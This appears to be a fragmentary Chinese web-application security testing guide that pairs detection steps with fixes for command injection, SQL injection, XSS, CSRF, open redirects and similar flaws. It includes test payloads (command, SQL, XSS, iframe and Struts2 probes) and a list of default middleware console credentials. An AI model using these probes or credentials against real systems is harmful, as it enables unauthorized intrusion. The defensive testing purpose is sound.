5. 通过 MD5、 SSL 等加密算法， 对于数据敏感信息和在数据传输过程中加密， 即使某些非法用户通过非法手法获取数据包，看到的也是加密后的信息。

1. Web业务运行正常
2. 已知某页面URL（假设为http://www.exmaple.com/abc.jsp）接收参数，且参数中接收类似于系统命令的字符（假设为cmd=ls）

1. 通过web扫描工具进行扫描，如果具有该漏洞，一般可以扫描得到，也可以通过手工去进行验证：打开网站，在地址栏中的网址后面输入“?cmd=所要执行的命令”，如下图所示的http://192.168.1.3/?cmd=net user，可以发现命令能够成功执行：

• • Php网站测试也使用同样的方法来进行检测

1. 尽量不要执行外部的应用程序或命令。
2. 使用自定义函数或函数库实现外部应用程序或命令的功能。
3. 在执行system、eval等命令执行功能的函数前，确定参数内容。
4. 使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义，如单引号“’”会被转义为“\’”，双引号“””会被转义为“\””，分号“;”会被转义为“\;”，这样escapeshellarg会将参数内容限制在一对单引号或双引号里面，转义参数中所包含的单引号或双引号，使其无法对当前执行进行截断，实现防范命令注入攻击的目的。
5. 使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为On，然后将允许执行的文件放入一个目录中，并使用safe_mode_exec_dir指定这个可执行的文件路径。这样，在需要执行相应的外部程序时，程序必须在safe_mode_exec_dir指定的目录中才会允许执行，否则执行将失败。

1. Web业务运行正常
2. 被测网站具有交互功能模块，涉及到参数get和post提交等等。

1. 如果应用程序使用框架，检查主要浏览器窗口的HTML源代码，其中应包含框架标记（frameset）的代码。通过对网站中的get提交的url中的参数进行框架或者链接注入，如图注入到参数id中后效果:
2. http://www2.xxx.com/a/index.php?id=Fiframe%3E%3CIFRAME+SRC%3D

%22http%3A%2F%2Fwww.baidu.com%22%3E：

1. 已知Web网站应用交互采用json的数据交换或者传输。

<script> function wooyun_callback(a){ alert(a); } </script>

<script src="http://www.xxx.com/userdata.php?callback=wooyun_callback">

</script>

1. referer的来源限制，利用前端referer的不可伪造性来保障请求数据的应用来源于可信的地方，此种方式力度较稀，完全依赖于referer，某些情况下（如存在xss）可能导致被绕过。
2. token的加入，严格来说，这种利用javascript hijacking的方式获取数据是CSRF的一种，不过较之传统的CSRF不能获取数据只能提交而言，这种方式利用javascript可以获取一些敏感信息而已。如果我们能让攻击者对接口未知，就可以实现json hijacking的防御了。利用token对调用者的身份进行认证，这种方式对于调用者的身份会要求力度较细，但是一旦出现xss也可能导致前端Token的泄露，从而导致保护失效。
3. 对于同域的json使用情况下，可以在数据的输出头部加入while(1);的方式避免数据被script.

1. Web业务运行正常。
2. Php+mysql的搭配，则需要进行检测。

如：http://localhost/gbk.php?username=%df%27 //多字节编码

%df%27=運' //看，出单引号了，后面就可以构造了

http://localhost/test/b.php?username=%df%27 or1%23

sql语句类似这样: SELECT * FROMdemo WHERE username = '運' or 1#' LIMIT 1这样就可以注入，或者id=%df’%20or%201=1%20limit%201,1%23&pass=

1. 改Windows下的MySQL配置文件一般是 my.ini，Linux下的MySQL配置文件一般是my.cnf，在初始化连接和字符集之后，使用SET character_set_client=binary来设定客户端的字符集是二进制的。character_set_client指定的是SQL语句的编码，如果设置为 binary，MySQL就以二进制来执行，这样宽字节编码问题就没有用武之地，如

1. 转义数据：一些合法的数据可能在无意中破坏 SQL 语句本身的格式。使用 mysql_escape_string() 或者所使用数据库提供的转移函数。如果没有提供这样的函数，addslashes() 也是不错的最后选择. 原理是，mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集，不会出现前面e5和5c拼接为一个宽字节的问题。

http://m.blog.csdn.net/blog/u011721501/42874517

1. 存储型跨站脚本攻击涉及的功能点：用户输入的文本信息保存到数据库中，并能够在页面展示的功能点，例如用户留言、发送站内消息、个人信息修改等功能点。
2. 反射型跨站脚本攻击涉及的功能点：URL参数需要在页面显示的功能点都可能存在反射型跨站脚本攻击，例如站内搜索、查询功能点。
3. 基于DOM跨站脚本攻击涉及的功能点：涉及DOM对象的页面程序，包括（不限这些）：

1. Web业务运行正常
2. 已知待测目标URL，假设为http://www.exmaple.com/page.xxx
3. 待测目标存在参数输入，或者以POST方式提交参数，显示为表单方式，假设为name=value。
4. 在某种情况下，用户输入被重新显示在网页上，包括名字、帐号、检索结果等等（说明目标网站服务器并没有对用户提交数据检测）。

1. GET方式跨站脚本：
2. 在输入的参数后逐条添加以下语句，以第一条为例，输入http://www.exmaple.com/page.xxx?name=<script>alert(123456)</script>只要其中一条弹出显示123456的告警框，就说明存在跨站漏洞，记录漏洞，停止测试。
3. 如果没有弹出显示123456的告警框，则在返回的页面上单击鼠标右键，选择“查看源文件”。
4. 查找网页源文件中是否包含完整的字符串<script>alert(123456)</script>，则不管有没有弹出显示123456的告警框，都表明存在跨站脚本漏洞。
5. 由于有些HTML元素（比如<textarea>或”）会影响脚本的执行，所以不一定能够正确弹出123456告警框，需要根据返回网页源文件的内容，构造value的值，比如

1. Post方式跨站脚本：
2. 在POST表单中逐条输入以下语句，只要其中一条弹出显示123456的对话框，就说明存在跨站漏洞，记录漏洞，停止测试。
3. <script>alert(123456)</script>
4. [img]javascript:alert(123456);[/img]
5. 如果没有弹出显示123456的告警框，则在返回的页面上单击鼠标右键，选择“查看源文件”
6. 查找网页源文件中是否包含完整的字符串<script>alert(123456)</script>，则不管有没有弹出显示123456的告警框，都表明存在跨站脚本漏洞。
7. 由于有些HTML元素（比如<textarea>或”）会影响脚本的执行，所以不一定能够正确弹出123456告警框，需要根据返回网页源文件的内容，构造value的值，比如

1. 总体修复方式：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下 ：
2. 输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。
3. 输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。
4. 明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
5. 注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字)，很容易被XSS变种攻击绕过验证机制。
6. 警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。对客户端提交的数据进行过滤，一般建议过滤掉双引号（”）、尖括号（<、>）等特殊字符，或者对客户端提交的数据中包含的特殊字符进行实体转换，比如将双引号（”）转换成其实体形式&quot;，<对应的实体形式是&lt;，<对应的实体形式是&gt;以下为需过滤的常见字符：

1. 对于java进行的web业务开发的过滤器如下：

1. 对于PHP语言所编写的网站系统的XSS过滤器：

1. asp程序网站出现SQL注入 跨站脚本攻击（XSS）漏洞的时候可以使用

1. Web业务运行正常
2. 存在数据提交的所有功能点。

1. 检测方式多种多样：工具常常会扫描得到CSRF的漏洞，但是一般常常为误报，重点还是依靠手工来进行检测，以下来举例说明其中一种检测以及攻击方案：
2. 设置页面test.htm中，页面中有一个表单，和一段脚本，脚本的作用是，当页面加载时，浏览器会自动提交请求。页面代码如下：

1. 诱使用户在登录目标系统后执行URL链接http://xx.x.xx.xxx /test.htm
2. 用户打开test.htm后，会自动提交表单，发送给www.test.com下的那个存在CSRF漏洞的web应用，用户信息被篡改
3. 在整个攻击过程中，受害者用户仅仅看到了一个空白页面（可以伪造成其他无关页面），并且一直不知道自己的信息已经被修改了

1. 通过referer判断页面来源进行CSRF防护，该方式无法防止站内CSRF攻击及referer字段伪造。
2. 重要功能点使用动态验证码进行CSRF防护。
3. 通过token方式进行CSRF防护：

1. 为每个session创建唯一的随机字符串，并在受理请求时验证：

1. 已知Web网站IP地址及Web访问端口
2. Web业务正常运行

1. 点击“开始”－“运行”，输入cmd并回车，运行nc.exe
2. 输入nc.exe –nvv IP 端口 （其中IP和端口按实际情况填写，用空格隔开）
3. 回车
4. 在新行中输入如下一行，并回车

OPTIONS / HTTP/1.1

1. 观察返回结果中的Allow的方法列表

返回结果样例：

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=200610162339)/Tomcat-5.5

Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

Content-Length: 0

Date: Mon, 29 Jun 2009 08:02:47 GMT

Connection: close

如果返回结果中包含不安全的HTTP方法（DELETE、PUT、TRACE、MOVE、COPY），则验证这些防范是否可用.

1. 如果方法可用则说明存在漏洞，如图所示为检测到的trace方法

• • 由于不同的Web服务器支持的HTTP协议版本不同，如果系统不支持HTTP/1.0，那么步骤4返回 “HTTP/1.0 400 Bad Request”；这种情况下，应该更改步骤4的输入行为OPTIONS / HTTP/1.1

1. 中间件为apache服务器

利用apache服务器的rewrite功能，对TRACE请求进行拦截。编辑httpd.conf文件增加下面内容：

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)

RewriteRule .* - [F]

更详细的解释如下：

LoadModule rewrite_module modules/mod_rewrite.so # 首先，激活rewrite模块

RewriteEngine On # 启用Rewrite引擎

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) # 对Request中的Method字段进行匹配：^TRACE 即以TRACE字符串开头

RewriteRule .* - [F] # 定义规则：对于所有格式的来源请求，均返回[F]-Forbidden响应。

对于1.3.34以上和2.0.55以上版本的apache服务器，配置文件增加：TraceEnable off

或者用如下方法：

在项目或tomcat下的web.xml中，添加如下配置：

<!-- 关闭不安全的HTTP方法 -->

<security-constraint>

<web-resource-collection>

<web-resource-name>任意名称</web-resource-name>

<url-pattern>/*</url-pattern>

<http-method>PUT</http-method>

<http-method>DELETE</http-method>

<http-method>HEAD</http-method>

<http-method>OPTIONS</http-method>

<http-method>TRACE</http-method>

</web-resource-collection>

<auth-constraint></auth-constraint>

</security-constraint>

<login-config>

<auth-method>BASIC</auth-method>

1. 中间件为Microsoft IIS

如果你使用的是Microsoft IIS, 使用URLScan工具禁用HTTP TRACE请求，或者只开放满足站点需求和策略的方式。安装URLScan（URLScan是微软提供给IIS6的路径重定向工具，在这里下载: http://www.iis.net/learn/extensions/working-with-urlscan/urlscan-3-reference），在URLScan.ini中配置，只允许GET、HEAD和POST这三个常用命令（UseAllowVerbs=1）。

1. 中间件为Sun ONE Web Server releases 6.0

如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更高的版本, 在obj.conf文件的默认object section里添加下面的语句:

<Client method="TRACE">

AuthTrans fn="set-variable"

remove-headers="transfer-encoding"

set-headers="content-length: -1"

error="501"

</Client>

1. Sun ONE Web Server releases 6.0 SP2

如果你使用的是Sun ONE Web Server releases 6.0 SP2 或者更低的版本, 编译如下地址的NSAPI插件:

http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F50603

1. Web业务运行正常
2. 已知目标网站的域名或IP地址

1. 可以利用web漏洞扫描器扫描web应用进行检测，也可通过搜索，网站标题包含“index of”关键词的网站进行访问。

1. IIS中关闭目录浏览功能：在IIS的网站属性中，勾去“目录浏览”选项，重启IIS。
2. Apache中关闭目录浏览功能：打开Apache配置文件httpd.conf，查找“Options Indexes FollowSymLinks”，修改为“ Options -Indexes”(减号表示取消，保存退出，重启Apache。
3. Nginx中默认不会开启目录浏览功能，若您发现当前已开启该功能，可以编辑nginx.conf文件，删除如下两行：autoindex on;autoindex_exact_size on;重启Nginx。

1. 已知Web网站具有中间件控制台页面。

1. Apache+tomcat：tomcat常见的web控制台地址为：http://x.x.x.x/manager/html或者添加端口：http://x.x.x.x:8080/manager/html，从TOMCAT5（开始默认/admin后台不存在，tomcat5之前的控制台为/admin。
2. Weblogic控制台：http://[weblogic所在机器IP]:[weblogic端口]/console若没有指定端口，且安装在本机上则为：（weblogic默认端口为7001）http://localhost:7001/console。
3. Websphere控制台：websphere的控制台常见有两种，一种是基于http，另一种是基于https的，分别为如下：http://localhost:9060/ibm/console和https://localhost:9043/ibm/console/logon.jsp。
4. Oracle web控制台：一般默认的是http://localhost:5500/em,一般存放于Oracle安装文件夹下的install文件夹下中文本文件，上面有web控制台的地址。
5. Mongodb web控制台：自带了Web控制台：默认和数据服务一同开启。他的端口在Mongodb数据库服务器端口的基础上加1000，如果是默认的Mongodb数据服务端口(Which is 27017)，则相应的Web端口为28017，这个页面可以看到当前Mongodb的所有连接、各个数据库和Collection的访问统计，包括：Reads, Writes, Queries, GetMores ,Inserts, Updates, Removes、写锁的状态、以及日志文件的最后几百行（CentOS+10gen yum 安装的mongodb默认的日志文件位于/var/log/mongo/mongod.log)。
6. HP system managent控制台：该控制台一般默认的端口为2381，可在其后添加路径/cpqlogin.php?errno=100&severity=4，即可访问.https://localhost:2381/cpqlogin.php?errno=100&severity=4
7. Service Registry 3控制台：在 Web 浏览器中键入以下 URL：http://hostname:port/soar/例如：http://localhost:6060/soar/如果系统中安装了 Registry，则 hostname 为 localhost。如果系统中尚未安装 Registry，请使用安装了 Registry 的系统的名称。port 的值通常为 6060，除非发生端口冲突。
   • Tomcat控制台URL：http://www.exmaple.com/manager/html
   • Tomcat控制台默认帐号admin，默认密码admin或空
   • Jboss控制台URL：http://www.exmaple.com/jmx-console/
   • Jboss控制台URL：http://www.exmaple.com/web-console/
   • Jboss控制台默认无须登陆，或者admin/admin
   • WebSphere控制台URL：http://www.exmaple.com/ibm/console/logon.jsp
   • WebSphere默认帐号admin，默认密码admin
   • Apache控制台URL：http://www.exmaple.com/server-status
   • Axis2控制台URL：http://www.exmaple.com/axis2-admin/
   • Axis2控制台默认口令帐户：admin/axis2
   • iSAP控制台URL：http://www.exmaple.com/admin/login.jsp
   • iSAP控制台默认的帐号和密码：admin/admin
   • “普元”管理控制台URL：http://www.exmaple.com/eosmgr/
   • “普元”管理控制台默认的帐号和密码：sysadmin/000000

1. 对于必须暴露于公网或者其他网络中的控制台地址，则为其地址做访问白名单措施，即只允许白名单以内的用户IP地址可以访问到该控制台，通过过滤器（filter）实现：
2. 创建客户端IP过滤器ClientIpFilter

1. 在web.xml中部署过滤器ClientIpFilter

1. 修改控制台默认的用户名和名吗，并为其控制台设置强壮的口令措施，防止可被恶意或简单猜解得到用户名和密码。
2. 修改web容器控制台的默认端口，默认路径，避免可被直接利用，访问得到地址。
3. 例如：tomcat的修复方式：禁止别人访问tomcat主页，环境：tomcat 6.0 ；步骤1：在server.xml中 <Host name="localhost" appBase="webapps"修改改webapps为xxxxxx（自己设置的路径）；步骤2：在tomcat-users.xml中 ：<user name="admin" password="xxxx" roles="admin,manager" /> 更改用户名和密码(需强壮)。

1. 被测网站web服务正常
2. 采用PHP中间件架构的网站。

1. 如果网站存在该漏洞，则通常通过web扫描工具进行扫描可得到链接。
2. 手工构造网站url，类似http://127.0.0.1/index.php?cmd=phpinfo();或者http://127.0.0.1/phpinfo.php直接访问：：

备注：如果要禁用多个函数，函数名之间用逗号隔开

1. 被测网站web服务正常
2. 网站采用了SSLV3.0协议。

1. 通过绿盟科技客户自助门户系统进行检测，参考链接：https://portal.nsfocus.com/vulnerability/list/，找到对应的漏洞检测模块，输入相关信息，进行检测，如图所示：

1. Apache 2.x:在mod_ssl配置文件中使用如下命令禁用SSLv2和SSLv3：SSLProtocol All -SSLv2 -SSLv3，重启Apache。
2. Nginx:在配置文件中使用：ssl_protocols TLSv1 TLSv1.1 TLSv1.2;重启Nginx
3. IIS:查找如下注册表项：HKey_Local_Machine\System\CurrentControlSet\Control\SecurityProviders \SCHANNEL\Protocols该注册表项通常包含以下子项：* PCT 1.0、 * SSL 2.0、 * SSL 3.0、* TLS 1.0每个注册表项都保留适用于该项的协议相关信息。可以在服务器上禁用这些协议中的任一种。为此，请在协议SSL 3.0的服务器子项中创建一个新的DWORD值。将DWORD值设置为“00 00 00 00”。
4. 浏览器禁用方法：IE:"工具" -> "Internet 选项" -> "高级" ，取消"使用 SSL 3.0"的复选框。
5. Chrome:复制一个平时打开 Chrome 浏览器的快捷方式，在新的快捷方式上右键点击，进入属性，在"目标"后面的空格中字段的末尾输入以下命令 --ssl-version-min=tls1
6. FireFox:在地址栏输入"about:config"，然后将 security.tls.version.min 调至 1。

1. 被测网站采用SVN（subversion）源代码版本管理软件。

1. 访问http://[ip]/CVS/Entriesp 以及http://[ip]/.svn/entriesp看是否成功，也可以自行构造，根据显示的主目录去逐级访问并遍历相关的目录和文件。
2. 利用web漏洞扫描工具进行检测。

1. Web业务运行正常。
2. 存在可通过构造路径，将备份文件下载出来。

1. 常见检测方法是通过对网站进行web漏洞扫描，直接利用爬虫来爬取网站可能存在的路径以及链接，如果存在备份文件，则可通过web直接进行下载。
2. 也可以通过自行构造字典，对网站某一目录下，指定字典进行爆破，常见的扫描工具有wwwscan、御剑后台扫描工具等。

1. 网站管理员严格检查web中可访问的路径下是否存在备份文件，常见备份文件后缀为.jsp.bak、.bak、.sql、.txt、等等。如果有这些文件，直接将该备份文件进行转移到其他目录或者直接删除即可。
2. 严格控制可网站可访问目录下的文件敏感度的存放问题，不要将敏感文件置于该目录。

1. Web业务运行正常

1. 可通过web漏洞扫描工具进行扫描，可能会得到内部IP地址。
2. 可以通过手工查看网站中网页的源代码，以及查看源代码注释等，或者通过数据传输中截断，查看其回显信息中，是否包含内网的IP地址。如果包含，则认为存在该漏洞。

1. 建议开发人员不要在源代码中注释中包含有内网IP。
2. 删除携带内网IP地址的页面，并制定完善的安全编码策略，并且及时检查存在的页面代码是否包含内部IP地址问题。
3. 加强编程人员良好的安全编码意识，系统地学习安全编码的知识，减少源代码泄露的风险。
4. 建立起良好的代码审核、审查体系，由专人负责代码的审计，增加安全监督环节。
5. 合理配置WEB服务器，禁止在数据交互中，传输内网IP地址。
6. 对于IIS服务器中的泄露内网IP地址的漏洞修复方法：

输入CMD进入命令提示符，输入“adsutil set w3svc/UseHostName True net stop iisadmin /y net start w3svc。这样就可以让IIS使用主机名而不是主机的IP地址，这样即时是有人利用漏洞也只是看到主机名而不是主机IP，从而防止内容IP地址泄露。

设置了httponly属性：

未设置httponly属性：

1. 已知Web网站具有登录页面。

1. 通过用web扫描工具进行对网站的扫描，如果存在相关cookies的安全性问题，则一般工具都会检测出来，误报率小。

response.setHeader("SET-COOKIE",

"user=" + request.getParameter("cookie") + "; HttpOnly");

本段代码设置了http only属性，攻击者无法获取用户Cookie信息。

AWVS漏洞名称如下：

Application error message

Error message on page

ASP.NET error message

1. 被测网站web业务正常运行

1. 通过web扫描工具对网站扫描可得到结果。
2. 或者通过手工，去尝试打开一些不存在的网站路径，或者文件，以及在url中输入一些敏感的字符，看其页面是否会抛出异常或者报错，导致错误消息中包含一些网站架构，版本，等敏感信息。

1. 对于tomcat的中间件下，常用修复方式如下：找到配置文件web.xml,修改内容如下：

配置一个统一的静态页面，将400、403、404、500等常见报错重定向到该静态页面，而不是抛出异常（报错信息导致代码信息泄漏）。

1. 对于常用的jsp语言开发的网站，可在业务流程中，加入异常捕获过程中预定义的错误编码，将异常输出到错误日志中，并在前台页面返回相应的错误编码，以便应用系统运维人员进行异常排查。代码参考：

1. 对于IIS/ASP.net下设置404错误页面：这样，便可以保证IIS能够正确地返回“404”状态码：首先，修改应用程序根目录的设置，打开 “web.config” 文件编辑，在其中加入如下内容：

1. 对于apache服务器的设置：修改 httpd.conf，找到如下：

1. 对于PHP中间件的使用者，可通过修改php.ini文件来实现如果关闭与开启错误信息，关闭错误显示后，php函数执行错误的信息将不会再显示给用户，这样能在一定程度上防止攻击者从错误信息得知脚本的物理位置，以及一些其它有用的信息，起码给攻击者的黑箱检测造成一定的障碍。这些错误信息可能对我们自己有用，可以让它写到指定文件中去，那么修改以下

1. 对于J2EE项目开发的网站，如果想通过捕获抛出的异常信息的方式来修复，可以使用使用Spring MVC统一异常处理的方法来进行修复， Spring MVC处理异常有3种方式：
2. 使用Spring MVC提供的简单异常处理器SimpleMappingExceptionResolver：

1. 实现Spring的异常处理接口HandlerExceptionResolver 自定义自己的异常处理器； 增加HandlerExceptionResolver 接口的实现类MyExceptionHandler，代码如下：：

1. 使用@ExceptionHandler注解实现异常处理；增加BaseController类，并在类中使用@ExceptionHandler注解声明异常处理，代码如下：

1. Web业务运行正常。
2. Web中存储敏感的数据信息。

1. 检测形式多样，工具爬虫扫描得到敏感文件的路径，从而找到敏感数据，
2. 手工挖掘，根据web容器或者网页源代码的查看，找到敏感信息。

1. 禁止在代码中存储敏感数据：禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据，这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
2. 禁止密钥或帐号的口令以明文形式存储在数据库或者文件中：密钥或帐号的口令必须经过加密存储。例外情况，如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令，那么就不用强制遵循该规则，将该配置文件的属性改为只有属主可读写。
3. 禁止在 cookie 中以明文形式存储敏感数据：cookie信息容易被窃取，尽量不要在cookie中存储敏感数据；如果条件限制必须使用cookie存储敏感信息时，必须先对敏感信息加密再存储到cookie。
4. 禁止在隐藏域中存放明文形式的敏感数据。
5. 禁止用自己开发的加密算法，必须使用公开、安全的标准加密算法。
6. 禁止在日志中记录明文的敏感数据：禁止在日志中记录明文的敏感数据（如口令、会话标识jsessionid等）， 防止敏感信息泄漏。
7. 禁止带有敏感数据的Web页面缓存：带有敏感数据的Web页面都应该禁止缓存，以防止敏感信息泄漏或通过代理服务器上网的用户数据互窜问题。

1. 被测网站使用了ASP.NET。
2. 被测网站有未自定义统一错误页面的漏洞。

• • 1. 检测第一步，输入域名http://219.143.x.x:9084 /*~1*/1.aspx,回显如下：

• • 1. 检测第二步，输入域名http://219.143.x.x:9084 /zz*~1*/1.aspx,回显如下：

• • 方案1、修改注册列表，并清除已创建的短文件名

①关闭操作系统NTFS 8.3文件格式的支持。 以管理员身份运行fsutil behavior set disable8dot3 1 ， 即修改注册列表：HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1，该操作在重启操作系统后生效。②将WEB站点根目录及虚拟目录移动到其他分区后再移回，此操作可以将生成的短文件名清除。

注：①只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除。该修改不能完全修复,只是禁止创建，故需要再进行②操作。

• • 方案2、如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。（推荐）
  • 方案3、升级net framework 至4.0以上版本.（推荐）

1. Web业务运行正常。
2. Web中存储敏感的robots文件。

1. 检测形式多样，工具爬虫扫描得到敏感文件的路径，从而找到robots文件，
2. 手工挖掘，直接在域名后输入/robots.txt进行查看。

1. User-agent: * 这里的*代表的所有的搜索引擎种类，*是一个通配符
2. Disallow: / 这里定义是禁止爬寻站点所有的内容
3. Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录
4. Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录
5. Disallow: /cgi-bin/*.htm 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。
6. Disallow: /*?* 禁止访问网站中所有包含问号 (?) 的网址
7. Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片
8. Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。
9. Allow: /cgi-bin/　这里定义是允许爬寻cgi-bin目录下面的目录
10. Allow: /tmp 这里定义是允许爬寻tmp的整个目录
11. Allow: .htm$ 仅允许访问以".htm"为后缀的URL。
12. Allow: .gif$ 允许抓取网页和gif格式图片
13. Sitemap: 网站地图 告诉爬虫这个页面是网站地图。

1：permitted-cross-domain-policies为all造成加载目标域上的任何文件作为跨域策略文件，甚至是一 个JPG也可被加载为策略文件。

2：allow-access-from 设为“*”任何的域，有权限通过flash读取本域中的内容，表示匹配所有域和所有 IP 地址，此时任何域均可跨域访问本域上的内容。

3：allow-http-request-headers-from header设个“*”允许发送任何消息头。

1. 已知Web网站外泄crossdomain.xml文件。

1. 打开网站并且进行信息收集。
2. 手工或者利用web扫描工具，找到crossdomain.xml文件，查看其配置。如果出现如下配置，则说明存在该漏洞。

<?xml version="1.0"?>

<cross-domain-policy>

<site-control permitted-cross-domain-policies="all" />

<allow-access-from domain="*" />

<allow-http-request-headers-from domain="*" headers="*"/>

</cross-domain-policy>

1. allow-access-from标签的domain属性检测：domain属性应根据最小化原则按需设置，仅允许可信任的来源跨域请求本域内容。禁止将该属性值设置为“*”。
2. allow-http-request-headers-from标签的domain属性检测：domain属性应根据最小化原则按需设置，仅允许可信任的来源向本域跨域发送内容。禁止将该属性值设置为“*”。
3. site-control标签的permitted-cross-domain-policies属性检测：根据业务的实际需求及可行性，对该属性做相应设置。禁止将该属性值设置为“all”。

1. 已知Web网站具有登录页面。

1. 首先找到网站相关url中存在跳转链接的参数（常见的有登陆页面）。
2. 在检测的同时，可以修改参数中的合法URL为非法URL，然后查看是否能正常跳转或者通过抓包工具获取其HTTP响应头中host:的值是否包含了任意的构造URL。
3. 如果是struts2重定向漏洞，则可通过web扫描工具扫描发现，或者手工验证，直接在URL后添加?redirect:+指定钓鱼链接，例如：10.1.82.53:9098/admin/login.action?redirect:http://diaoyu.com进行验证，或者：http://host/struts2-blank/example/X.action?action:%25{3*4}如图所示，则证明存在URL重定向漏洞：阿三大

1. 若跳转的URL事先是可以确定的，包括url和参数的值，则可以在后台先配置好，url参数只需传对应url的索引即可，通过索引找到对应具体url再进行跳转；
2. 若跳转的URL事先不确定，但其输入是由后台生成的（不是用户通过参数传人），则可以先生成好跳转链接然后进行签名，而跳转cg首先需要进行验证签名通过才能进行跳转；
3. 若1和2都不满足，url事先无法确定，只能通过前端参数传入，则必须在跳转的时候对url进行按规则校验：即控制url是否是公司授权的白名单或者是符合公司规则的url，参考代码：function checkURL ( sURL) {

function checkURL ( sURL) {

return (/^(https?:\/\/)?[\w\-.]+\.(yourDomainA|yourDomainB|yourDomainC)\.com($|\/|\\)/i).test

(sUrl)||(/^[\w][\w\/\.\-_%]+$/i).test(sUrl)||(/^[\/\\][^\/\\]/i).test(sUrl) ? true : false;

}

1. 通过对referer的限制：如果确定传递URL参数进入的来源，我们可以通过该方式实现安全限制，保证该URL的有效性，避免恶意用户自己生成跳转链接；
2. 加入有效性验证Token：我们保证所有生成的链接都是来自于我们可信域的，通过在生成的链接里加入用户不可控的Token对生成的链接进行校验，可以避免用户生成自己的恶意链接从而被利用，在跳转时做判断，指定跳转的值。当用户访问需要跳转URL的页面时，生成随机token，并保存到Cookie中，后台应用程序在跳转前，判断token是否和cookie中的token一致。
3. 理论上讲，url跳转属于CSRF的一种，跳转url检测中也加入了CRLF头部注入漏洞的检测逻辑, 具体就是在请求参数中加入了%0d%0a这种测试代码，需要对这些参数进行删除处理(事实上：在判断到一个参数中包含 %00 -> %1f 的控制字符时都是不合法的，需对其进行删除)。
4. 如果为struts2重定向漏洞，则需要更新相关的struts2的版本到最新。

1. 被测网站可正常访问。

1. 使用工具来获取DNS信息：

1. 使用手工的方法，推荐。方法如下：

查看效果如下：

1. Windows 界面禁止DNS域传送漏洞方法：

1. Bind 9界面禁止DNS域传送漏洞方案：

1. 如果你使用 bind 8，可以在“named.conf”文件（缺省路径是/etc/named.conf）的对某个域的域传输进行限制。

1. 如果您使用的是Windows DNS Server，可以启动DNS Manager，在Zone Properties窗口中有一个DNS SERVER的列表，选中Only Allow Access From Secondaries Included on Notify List复选项，服务器就会限制可以进行区域传送的服务器，只有Notify List中授权了的辅DNS Server才可以进行区域传送。
2. 设置DNS安全策略：

1. 已知服务器具有开放web服务。
2. 已知Web服务器域名或IP地址，假设IP地址为192.168.1.1

1. 安装NMAP或者类似的端口扫描工具，进行端口扫描，以下为nmap的dos命令操作：
2. 打开命令提示符，切换到nmap路径下,输入cd /d d:\nmap
3. 运行nmap –n –P0 –sS –sV –p1-65535 –oX scan_report.xml 192.168.1.1
4. 使用浏览器打开scan_report.xml
5. 观察结果，看是否为必须开放的Web服务端口。
   • 常见端口：8080、8090、8099、8088、3306、3389、111、135、等

1. Web业务运行正常
2. 网站采用了存在漏洞php中间件版本。

1. 通过绿盟科技客户自助门户系统进行检测，参考链接：https://portal.nsfocus.com/vulnerability/list/，找到对应的漏洞检测模块，输入相关信息，进行检测。
2. 通过人工执行python脚本进行检测，相关代码参考如下：

脚本检测效果如下：

1. 被测网站使用了ASP.NET。
2. 被测网站有未自定义统一错误页面的漏洞。

1. 可到开源网站下载检测工具，进行检测：

http://ethicalhackingaspnet.codeplex.com/releases/view/52623

• • 由于Padding Oracle攻击只需判断两种状态便可以进行攻击，可采取两种方法来避免这种攻击，第一种是在应用环境中当站点出现404或500时都返回同一状态码；在更改HTTP状态码之后，第二是方法是就是隐藏网页的错误信息。
  • 此外还有一些做法也是可取的。例如：
  • 避免在ViewState和Cookie中存放敏感数据。
  • 不要过度依赖Machine Key。
  • 在认证cookie里保存的不只是用户名，而是外界无法得知的ID，或是同时保存checksum等额外的验证信息。
  • 为ScriptResource.axd写一个Wrapper，只让它输出扩展名为js的内容。

<link href="http://_SERVER['HOST']"

这样处理问题一般会很容易遭遇到两种常见的攻击：缓存污染和密码重置。缓存污染是指攻击者通过控制一个缓存系统来将一个恶意站点的页面返回给用户。密码重置这种攻击主要是因为发送给用户的内容是可以污染的，也就是说可以间接的劫持邮件发送内容。利用方法可参考乌云的一篇：

http://www.wooyun.org/bugs/wooyun-2010-079988

1. 被测网站使用了依赖HTTP Host header的功能。
2. 网站具有密码重置，发送邮件功能

1. 密码重置污染攻击，点击重置密码的链接时，url::abs_site 这一部分使用的Host header是来自用户重置密码的请求，那么可以通过一个受他控制的链接来污染密码重置的邮件，例如替换host：当然这种攻击方式一定要能骗取用户点击访问这个受污染的链接，如果用户警觉了没有点击，那么攻击就会失败

1. 通过Host header来污染缓存的攻击方法:

